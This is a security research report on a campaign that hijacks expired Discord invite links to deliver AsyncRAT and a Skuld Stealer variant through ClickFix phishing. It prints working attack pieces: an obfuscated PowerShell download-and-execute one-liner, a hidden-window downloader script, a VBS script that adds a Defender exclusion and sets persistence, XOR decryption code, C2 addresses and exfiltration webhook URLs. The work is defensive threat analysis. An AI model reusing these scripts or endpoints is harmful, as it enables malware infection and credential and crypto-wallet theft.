| Original Text |
|---|
From Trust to Threat: Hijacked Discord Invites Used for Multi-StageMalware DeliveryalexeybuKey TakeawaysCheck Point Research uncovered an active malware campaign exploiting expired and released Discord invite links. Attackershijacked the links through vanity link registration, allowing them to silently redirect users from trusted sources to maliciousservers.The attackers combined the ClickFix phishing technique, multi-stage loaders, and time-based evasions to stealthily deliverAsyncRAT, and a customized Skuld Stealer targeting crypto wallets.Payload delivery and data exfiltration occur exclusively via trusted cloud services such as GitHub, Bitbucket, Pastebin, andDiscord, helping the operation blend into normal traffic and avoid raising alarms.The operation continues to evolve, and threat actors can now bypass Chrome’s App Bound Encryption (ABE) by using adaptedtools like ChromeKatz to steal cookies from new Chromium browser versions.IntroductionDiscord is a heavily used, widely trusted platform favored by gamers, communities, businesses and others who need to connectsecurely and quickly. But what if your trusted platform unknowingly becomes a trap?Check Point Research uncovered a flaw in Discord’s invitation system which allows attackers to hijack expired or deleted invitelinks and secretly redirect unsuspecting users to malicious servers. Invitation links posted by trusted communities months ago onforums, social media, or official websites could now quietly lead you into cybercriminal hands.We observed real-world attacks in which cybercriminals leverage hijacked invite links to deploy sophisticated phishingschemes and malware campaigns, including multi-stage infections designed to evade detection by antivirus tools and sandboxsecurity checks.In this report, we detail a newly discovered malware campaign exploiting Discord’s invitation system flaw. The attackers carefullyorchestrate multiple infection stages and deliver payloads such as the Skuld Stealer which targets cryptocurrency wallets, andAsyncRAT which obtains full remote control of compromised systems. Notably, by combining multiple evasion techniques, theattackers are able to stealthily deliver malicious payloads while bypassing Windows security features and staying under the radarof many antivirus engines.Understanding Discord Invite LinksOur recent investigation into Discord invite-link hijacking revealed that cybercriminals actively exploit Discord’s invitation systemto conduct phishing attacks. Initially, we discussed how attackers exploited Discord’s custom (vanity) invite links — special inviteURLs available exclusively to servers with a premium subscription (Level 3 Boost). Criminals targeted servers whose custominvite links were expired after losing their boosts, and appropriated these recognizable invite URLs for their own use.Further research indicates that this issue extends beyond custom vanity links to include standard invite links (e.g., discord.gg/y1zw2d5).Discord generates random invitation links, making it virtually impossible for legitimate servers to reclaim a previously expiredinvite. However, we found instances where regular randomly-generated invite codes, originally published by legitimatecommunities on websites or Telegram channels, now redirect users to malicious Discord servers. How is this possible?All Discord invite links follow the format:https://discord.gg/{invite_code} https://discord.com/invite/{invite_code}There are three primary types of invite links in Discord:Temporary Invite Links:Discord generates temporary invite links by default unless you specify otherwise. When invites are created via the Discordapplication, you can select expiration durations of 30 minutes, 1 hour, 6 hours, 12 hours, 1 day, or 7 days (default).When generated through Discord’s API, you can select any custom expiration time up to 7 days. Invite codes are randomlygenerated and typically contain 7 or 8 characters, combining uppercase letters, lowercase letters, and numbers. For example:https://discord.gg/T8CA7XrKhttps://discord.gg/yzqKS3d Figure 1 – Generating a random invite code in Discord application.2. Permanent Invite Links:These are created by explicitly selecting the “Expire After: Never” option. Codes generated for permanent invites contain 10randomly-generated alphanumeric characters (uppercase, lowercase, numbers). Figure 2 – Generating a permanent invite link in Discord application.Example of permanent invite link:https://discord.gg/wAYq5GAsyH3. Custom Vanity Invite Links:These are exclusively available to Discord servers with a premium subscription (Level 3 Boost). Vanity invite links allow server administrators to manually select the invite code, provided it is unique across all Discord servers. Codes may contain lowercaseletters, numbers, or dashes, and all letters are automatically converted to lowercase. A server can only have one vanity link at atime. If a server loses its boosts, its custom vanity link becomes available for reuse by another boosted server.Invite Code Reuse and ExploitationWhen creating a regular randomly-generated invite link, after it’s expired or deleted, you cannot obtain the same invite linkagain. Invite codes are generated randomly and the probability of generating the same exact invite code is extremely low.However, the mechanism for creating custom invite links surprisingly lets you reuse expired temporary invite codes, and, in somecases, deleted permanent invite codes: Figure 3 – Assigning a previously used invite code from another server as a custom vanity invite link for a boosted server inDiscord application.Attackers actively exploit this behavior. Once a temporary invite expires, its code can be registered as a custom invite for anotherDiscord server that has Level 3 Boost. If a legitimate Discord server uses a custom vanity link but later loses its boost status (forexample, due to a missed subscription payment), the vanity invite becomes available again, and attackers can claim it for theirown malicious server. This creates a serious risk: Users who follow previously trusted invite links (e.g., on websites, blogs, orforums) can unknowingly be redirected to fake Discord servers created by threat actors.The safest option is to use permanent invites, which are more resistant to hijacking. In particular, if a permanent invite codecontains any uppercase letters, it cannot be reused even after deletion. However, in rare cases, if a deleted permanent inviteconsisted only of lowercase letters and digits (about 0.44% of all cases), the code may become available again for registration as avanity invite.The table below summarizes the hijack risk for each type of invite:Invite type Can behijacked?ExplanationTemporary InviteLink YesAfter expiration, the code becomes available and can be re-registered as a custom vanityURL by a different server with Level 3 Boost.Permanent InviteLink ConditionalIf deleted, a code with only lower-case letters and digits can be re-registered as a customvanity URL by a different server with Level 3 Boost.Custom VanityInvite Yes (if lost)If the original server loses its Level 3 Boost status, the vanity invite becomes invalid andmay be claimed by another boosted server.In both the Web and desktop versions of the Discord client, the invite code management behavior creates an additional riskfactor. When users create a new temporary invite through the “Invite People” option in the server’s menu and check the box “Setthis link to never expire,” it does not modify the expiration time of an already generated temporary invite. The figure belowshows how, when you click the “Set this link to never expire” checkbox, the Discord client shows that the link settings havesupposedly changed, but the invite code remains temporary (as we can see, it consists of 8 characters). Figure 4 – When you set “Never Expires” for an existing link, its expiration settings do not actually change.Users often mistakenly believe that by simply checking this box, they have made the existing invite permanent (and it was thismisunderstanding that was exploited in the attack we observed). As a result, temporary invites are published under the falseassumption that they will never expire. These links eventually expire without warning, making their codes vulnerable to hijackingand malicious reuse.ExamplesLet’s explore how attackers can hijack Discord invite links under different conditions.Case 1: Temporary invite with only lowercase letters and digitsLet’s say a legitimate server shares an invite link like: https://discord.gg/yzqks3dThis code contains only lowercase letters and digits. As long as the invite is active, attackers cannot register it as a vanityinvite. However, once the invite expires or is manually deleted, the code becomes available. Attackers monitoring known invitecodes can then quickly claim it as a vanity invite on a malicious boosted server. From that point on, anyone using thisinvite (yzqks3d) will be redirected to the attacker’s server.Case 2: Temporary invite with uppercase lettersNow let’s consider another invite code: https://discord.gg/uzwgPxUZThis code includes uppercase letters. In this case, attackers can register a vanity invite using the lowercase version of the samecode (uzwgpxuz) even while the original invite is still active. Discord allows it because vanity codes are always stored andcompared in lowercase.While the original invite is still valid, users who follow the link will land on the correct server. But as soon as this inviteexpires, users clicking the previously legitimate link (uzwgPxUZ) are seamlessly redirected to the attackers’ server, which nowowns the lowercase vanity version of that code.Note that if the original invite that includes uppercase letters is manually deleted before its expiration, Discord continues to treatthe code as reserved until the scheduled expiration time is reached. The users following the original link (uzwgPxUZ) won’t beredirected to the attacker’s server until then.From Trusted Links to Malicious Discord ServersUsing the method described above, attackers hijack Discord invite links originally shared by legitimate communities. Usersfollowing these trusted links, found in social media posts or official community websites, unknowingly end up on maliciousservers carefully designed to look authentic.Upon joining, new members typically see that most channels are locked and only one channel, usually named “verify”, isaccessible. In this channel, a bot named ”Safeguard” prompts users to complete a verification step to gain full server access. Figure 7 – Safeguard bot redirecting users to the phishing website.Phishing websiteAfter the user authorizes the bot, Discord starts the OAuth2 authentication flow. Discord generates a single use code and the URLwith a format such as https://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j is opened in thebrowser. At the same time, using this code, the website gets the username and the server name from Discord. After successfullyretrieving user data from Discord, the server redirects the user to another URL with the format:https://captchaguard[.]me/?key=aWQ9dXNlcm5hbWUyMzQ0JnRva2VuPTExMjIzMzQ0MDEyMz…In this URL, the “key” variable contains BASE64-encoded data retrieved from Discord that includes the username, Discord guild,and icon IDs. The page is static and does not actually verify the data received in the “key=” variable. Therefore, anyone can open itusing the empty value:https://captchaguard[.]me/?key=Once redirected, the user is shown a well-designed web page mimicking Discord’s UI. At the center isa “Verify” button, accompanied by a green shield logo. Figure 5 – Malicious Discord server where users land after clicking a hijacked invite link.Inspecting the bot’s information reveals that the malicious bot “Safeguard#0786” was created on February 1, 2025: Figure 6 – Malicious “Safeguard” bot description.When users click the “verify” button, they’re asked to authorize the bot, redirecting them to an external website: https://captchaguard[.]me. At the same time, the bot obtains access to user profile details, such as username, avatar, and banner. Figure 8 – Phishing website displaying a fake verification message.Clicking “Verify” executes JavaScript that silently copies a malicious PowerShell command to the user’s clipboard:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterpowershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"The attackers use a refined UX trick known as “ClickFix”, a technique in which the service initially appears broken, promptingthe user to take manual action to “fix” it. In this case, a fake Google CAPTCHA is shown as failing to load, andmanual “verification” instructions are displayed.This page presents a sequence of clear, visually guided steps to pass “verification”: open the Windows Run dialog (Win + R), pastethe text preloaded into the clipboard, and press Enter. The site avoids asking users to download or run any filesmanually, removing a common red flag. By using familiar Discord visuals and a polished layout, the attackers create a false senseof legitimacy. Figure 9 – Social engineering technique tricking a user to execute a malicious command.In reality, this action causes the user’s computer to download and execute a PowerShell script hosted on Pastebin:https://pastebin[.]com/raw/zW0L2z2MPastebin is a public web service where users can store and share plain text online, and is often used for sharing codesnippets, logs, or configuration data. When you create a new “paste”, it becomes accessible via a short link like “https://pastebin[.]com/raw/{resource_id}”. Usually, it does not require registration to share some data. Registered users have theability to delete and edit data they previously posted.Multi-stage Payload Delivery Using Pastebin, GitHub and BitbucketThe malware campaign we uncovered in our research follows a carefully designed multi-stage infection chain. Threat actorsleverage a combination of Discord, phishing websites, social engineering, public services like Pastebin, and cloud platforms suchas GitHub and Bitbucket to deliver their payloads.The diagram below summarizes the initial phase, which involves phishing via hijacked Discord invites and the ClickFix techniquedetailed above:Figure 10 – Infection chain overview: From hijacked Discord invite to execution of PowerShell downloader.At the conclusion of this phase, a PowerShell script is executed on the victim’s machine. This script downloads and runs a first-stage downloader (installer.exe) from GitHub, initiating the next phase of the attack.The script executed at the end of this phase downloads and runs a first-stage downloader (installer.exe) from GitHub, initiatingthe next stage of the attack. This stage involves multiple loaders and payloads retrieved from Bitbucket, ultimately deployingmalicious payloads, including AsyncRAT and Skuld Stealer: Figure 11 – Infection chain overview: From PowerShell to final malware payload delivery.Let’s now examine each component of the second-phase in detail.Downloader PowerShell ScriptThe script download from Pastebin link is not obfuscated or encrypted. From its code we can see that it downloads and runs anexecutable file from a GitHub URL:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try{Write-Output"Establishing connection..."# Download the EXE using WebClient $webClient = New-Object System.Net.WebClient$webClient.DownloadFile($url, $exePath)# Validate the downloadif (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {Write-Output"failed. Exiting..."exit 1}# Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch {Write-Output"An error occurred"} finally {Write-Output"unable to detect discord session."}# Hide PowerShell Console Window Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; publicclass Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window # Define the download and execution parameters $url ="https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download $exePath = Join-Path $env:TEMP('installer.exe') try { Write-Output "Establishing connection..." # Download the EXE using WebClient $webClient = New-ObjectSystem.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executable Start-Process -FilePath$exePath -ArgumentList "-arg1" -NoNewWindow } catch { Write-Output "An error occurred" } finally { Write-Output "unable todetect discord session." }# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try { Write-Output "Establishing connection..." Download the EXE using WebClient $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch { Write-Output "An error occurred"} finally { Write-Output "unable to detect discord session."}We noticed that almost no anti-virus vendors flag this script as malicious:Figure 12 – Malicious PowerShell script has an extremely low detection rate on VirusTotal.Cybercriminals actively use the ability to edit information posted on Pastebin to change the GitHub URL from which theexecutable file is downloaded. This probably allows them to bypass the blocking by GitHub. If the repository is deleted, theattackers just create a new account and a new repository, to which they upload the file. The new URL is then placed inside thePastebin script.While monitoring the campaign, we observed the following changes in the address:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exehttps://codeberg[.]org/wfawwf/dwadwaa/raw/branch/main/installer.exeFirst Stage Downloader: installer.exeThe downloaded executable installer.exe(SHA256: 673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932) has extremely low detectionrates. At the time of our research, only a single antivirus vendor on VirusTotal flagged it as malicious:
Figure 13 – First Stage Downloader has an extremely low detection rate on VirusTotal.During continued monitoring of the campaign, we identified a newer variant of theloader (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) that achieved zerodetections across all antivirus engines at the time of submission.
Figure 14 – First Stage Downloader with zero detections on VirusTotal.This binary acts as a downloader that retrieves its second-stage payloads from remote servers.Written in C++ and approximately 4.8MB in size, the binary is not packed. However, the extensive use of junk code complicatesits static analysis. Additionally, C++ binaries inherently complicate analysis due to their use of virtual function tables, indirectfunction calls, and complex runtime structures, making it challenging to quickly identify the relevant code paths.At first glance, the downloader seems to contain plaintext strings; however, nearly all easily visible strings belong to junk codedesigned to distract analysts. In reality, critical strings related to malicious functionality are concealed by being stored assequences of immediate values pushed directly onto the stack at runtime. Each string is additionally encrypted using a simpleXOR cipher with a single-byte key. A distinct XOR key is used for every encrypted string and loaded into the CL register typicallyjust before the process of writing encrypted bytes to the stack. The same method is applied to obfuscate important Windows APIfunction names, whose addresses the malware dynamically resolves using GetProcAddress.
Figure 15 – Strings and API calls obfuscation in the loader.When executed in a sandbox without extra options, the malware does not expose any suspicious functionality. It just performsdozens of junk calls (such as OpenThemeData, RegisterWindowMessageW, SHGetStockIconInf, etc.) and then exits.However, if executed with the command-line parameters ”-arg1” or ”-arg2“, it initiates further malicious operations. It’snoteworthy that the initial PowerShell script described earlier explicitly passes the “ -arg1” parameter to theexecutable, triggering its malicious functionality.Upon execution with the correct argument, the dropper creates the following directory: C:\Users\%USERNAME%\AppData\Local\ServiceHelper\
Then, it creates two Visual Basic scripts inside this folder:nat1.vbsThis script attempts to evade Windows Defender detection by adding the user’s directory to Defender’s exclusion paths. It alsoschedules a persistent task named checker, set to run every 5 minutes with the highest privileges. This task periodically launchesthe second script, runsys.vbs. In addition, the script ensures the creation of a placeholder file called settings.txt. This file actsas an execution flag: The malware checks for its existence upon startup to determine if it has previously run.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network")strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) ThenCall objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommand Set objNetwork =CreateObject("WScript.Network") strUsername = objNetwork.UserName Set objShellApp = CreateObject("Shell.Application") SetobjShell = CreateObject("WScript.Shell") strExclusionPath = "C:\users\" & strUsername objShellApp.ShellExecute"PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0 strTaskCommand ="schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST" objShell.Run "cmd /c " & strTaskCommand, 0, True strFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt" Set objFSO =CreateObject("Scripting.FileSystemObject") If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath,True) End If Set objShellApp = Nothing Set objShell = Nothing Set objNetwork = Nothing Set objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network")
strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = Nothingrunsys.vbsThis short script silently executes the second-stage payload executable syshelpers.exe.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume Next Set WshShell = CreateObject("WScript.Shell") WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOnce these scripts are set up, the dropper proceeds to download two encrypted payloads from Bitbucket:URL Local file namehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/skul.exe searchHost.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe syshelpers.exeTo perform HTTP requests, the malware uses the following specific User-agent string:Dynamic WinHTTP Client/1.0Both files are stored encrypted on the Bitbucket service. To decrypt these downloaded executables, the malware applies thefollowing XOR-based algorithm:Plain textCopy to clipboardOpen code in new window
EnlighterJS 3 Syntax Highlighterdef decrypt_data(data):return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))Despite using a relatively simple encryption scheme, this technique effectively prevents detection of the malicious payloads storedon Bitbucket. At the time of this writing, neither of the two downloaded files (skul.exe and Rnr.exe) is flagged as malicious byany antivirus vendor on VirusTotal. Previously, we observed similar use of payload encryption by malware such asGuLoader, enabling threat actors to leverage legitimate services like Google Drive for payload hosting and effectively evadeantivirus detection.Upon successful decryption, these files are stored in the previously created directory (ServiceHelper).The first downloaded file searchHost.exe (initially skul.exe) is executed immediately by calling the CreateProcessW APIfunction.The second file syshelpers.exe (initially Rnr.exe) is executed every five minutes by the previously scheduled task(runsys.vbs), thus ensuring long-term persistence on the victim’s machine.Second Stage Downloader: Rnr.exeThe file Rnr.exe (decryptedSHA256: 5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f), downloaded from Bitbucketand saved locally as syshelpers.exe, also acts as a downloader.It shares many similarities with the previously described downloader (installer.exe), in particular that both use XORobfuscation with a single-byte key to hide strings and API function names.When sending HTTP requests to download its payload, the sample sets the following User-Agent header:Dynamic WinHTTP Client/1.0The encrypted payload is downloaded from this URL:https://bitbucket[.]org/updatevak/upd/downloads/AClient.exe
Figure 16 – Encrypted paths and a URL in the second stage downloader.The same file can also be found on the previously discussed repository: https://bitbucket[.]org/syscontrol6/syscontrol/downloads/AClient.exe. This may indicate that there could be other versions of the Rnr.exe file downloading payloads fromdifferent repositories.This downloader employs an interesting sandbox evasion technique. On first execution, the downloader fetches the payload fromthe above URL and saves it in the current directory under the name ”updatelog” (Note: There is no file extension). It thenimmediately exits without decrypting or executing the payload.However, as described earlier, this executable is automatically re-executed every five minutes via a scheduledtask (runsys.vbs). On the next launch, the downloader checks for the presence of the ”updatelog” file. If the file exists, thedownloader proceeds to decrypt it using the same XOR-based algorithm used by the previous downloader and saves the resultas syshelp.exe in the same directory.On every subsequent run, the downloader checks if the file syshelp.exe exists in the current folder, and if so, the downloaderexecutes it.Even when the full infection chain is triggered starting from the initial PowerShell script, the malware’s use of scheduled taskscauses significant delays:Five minutes before the first download,Another 5 minutes before decryption,A final 5-minute delay before execution.In total, at least 15 minutes must pass before any malicious behavior becomes visible — long enough to evade detection by manyautomated sandbox systems.If this downloader is executed without prior context inside a sandbox, the final payload will be downloaded but never decrypted orrun. As a result, none of its malicious behavior will be visible, regardless of what the payload contains.Payload 1: AClient.exe (AsyncRAT)The first payload delivered in this campaign, AClient.exe (decryptedSHA256: 53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe), is a variant of the AsyncRATmalware, version 0.5.8. AsyncRAT an open-source Remote Access Trojan (RAT). It provides attackers with comprehensive remotecontrol capabilities over infected systems, including:Executing arbitrary commands and scripts.Keylogging and screen capturing.File management (uploading, downloading, deleting files).
Remote desktop and camera access.This AsyncRAT sample uses a “dead drop resolver” technique: Instead of directly embedding the command-and-control (C&C) server address, the malware retrieves it from a publicly accessible third-party resource – in this case, a Pastebindocument:https://pastebin.com/raw/ftknPNF7At the time of analysis, the Pastebin URL contained the following C&C server address:101.99.76.120:7707However, we later discovered that most of the time the address value was set to 0.0.0.0:7707.We also found earlier AsyncRAT samples related to the same threat actors with the following SHA256:d54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236aThe earliest sample was first seen on November 11, 2024. These samples contain embedded C&C server addresses in theirconfiguration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter87.120.127.37:7707185.234.247.8:7707microads[.]top:770787.120.127.37:7707 185.234.247.8:7707 microads[.]top:770787.120.127.37:7707185.234.247.8:7707microads[.]top:7707The registration date for the domain microads[.]top is August 15, 2024, meaning that the threat actors are active at least fromthis date.Payload 2: skul.exe (Skuld Stealer)The second payload downloaded from Bitbucket is skul.exe (decryptedSHA256: 8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c). This executable is identified asa variant of the Skuld Stealer, a malware tool written in Go and publicly available as open source on GitHub.The original Skuld Stealer project is described as a proof-of-concept malware targeting Windows systems, designed to stealsensitive user data from multiple sources, including Discord, various browsers, crypto wallets, and gaming platforms.The original Skuld Stealer provides extensive functionality, including:Anti-debugging (termination of debugging tools).Virtual machine detection and sandbox evasion.Credential theft from Chromium-based and Gecko-based browsers (logins, cookies, credit cards, browser history).Crypto clipper (replaces clipboard contents with attacker-controlled cryptocurrency addresses).Stealing Discord authentication tokens.
Discord injection module to intercept sensitive user operations such as login, password changes, payment information additions,preventing requests to view devices, and blocking QR logins.Collecting sessions from popular gaming platforms (Epic Games, Minecraft, Riot Games, Uplay).System information gathering (CPU, GPU, RAM, IP, geolocation, Wi-Fi networks).Crypto wallet data theft, including mnemonic phrases and passwords.However, the variant used in this specific campaign differs from the publicly available version in several aspects. Notably, it omitscertain functionality:No crypto clipper.No anti-debugging measures.No stealing sessions from gaming platforms.No built-in persistence mechanism: Unlike the public version, this stealer does not implement internal persistence. Instead,persistence is externally achieved through the previously described scheduled task (runsys.vbs).Let’s go deeper into some of the details of the variant used in this campaign.Mutex UsageTo prevent multiple instances of itself from running, Skuld creates a mutex with a specific, GUID-like name. The variant used inthis campaign uses the exact same mutex name as the open-source version:3575651c-bb47-448e-a514-22865732bbcPlain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc", err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}func IsAlreadyRunning() bool { const AppID = "3575651c-bb47-448e-a514-22865732bbc" , err := windows.CreateMutex(nil,false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID))) return err != nil }func IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc", err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}This mutex name can be used as an IOC to detect if Skuld is active in the system.Data Exfiltration via Discord WebhooksSkuld sends the collected data through a Discord webhook, a one-way HTTP-based channel commonly used by applications topost automated messages and data to Discord channels. Webhooks provide a convenient, secure, and easily configurable way forattackers to exfiltrate stolen information without maintaining complex command-and-control servers.
In the original open-source version of Skuld, the Discord webhook URL is stored in plaintext within the configuration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterCONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}CONFIG := map[string]interface{}{ "webhook": "https://discord.com/api/webhooks/...", "cryptos": map[string]string{ "BTC": "",# crypto-clipper setup "BCH": "", // ... }, }CONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}However, the variant analyzed in this campaign uses two separate Discord webhooks, each serving different purposes, and bothURLs are encrypted using a single-byte XOR cipher.Upon execution, the malware decrypts both webhook URLs:
Figure 17 – Webhook URL decryption in Skuld stealer.These are the decrypted webhook URLs:
Name URLwebhook https://discord[.]com/api/webhooks/1355186248578502736/_RDywh_K6GQKXiM5T05ueXSSjYopg9nY6XFJo1o5Jnz6v9sih59A8p-6HkndI_nOTicOwebhook2 https://discord[.]com/api/webhooks/1348629600560742462/RJgSAE7cYY-1eKMkl5EI-qZMuHaujnRBMVU_8zcIaMKyQi4mCVjc9R0zhDQ7wmPoD7XpThe first webhook (webhookencr) is used for exfiltrating general data, such as browser credentials, system information, andDiscord tokens.The second webhook (webhookencr2) is specifically reserved for exfiltrating highly sensitive data: crypto wallet seed phrases andpasswords from the Exodus and Atomic crypto wallets.Below is a partially restored Go-code responsible for this logic:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}func main() { CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string)) CONFIG["webhook2"] =
